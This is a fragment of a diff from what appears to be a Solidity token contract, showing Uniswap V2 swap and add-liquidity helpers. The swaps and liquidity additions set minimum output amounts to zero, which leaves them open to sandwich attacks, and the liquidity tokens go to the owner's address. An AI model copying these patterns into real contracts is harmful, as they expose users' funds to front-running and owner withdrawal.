uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( + tokenAmount, + 0, // accept any amount of ETH + path, + address(this), + block.timestamp + ); + return (address(this).balance - initialBalance); + } + + function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { + // approve token transfer to cover all possible scenarios + _approve(address(this), address(uniswapV2Router), tokenAmount); + + // add the liquidity + (,uint256 ethFromLiquidity,) = uniswapV2Router.addLiquidityETH {value: ethAmount} ( + address(this), + tokenAmount, + 0, // slippage is unavoidable + 0, // slippage is unavoidable + owner(), + block.timestamp + ); + + if (ethAmount - ethFromLiquidity > 0) + payable(_marketingWallet).sendValue (ethAmount - ethFromLiquidity); + } +} \ No newline at end of file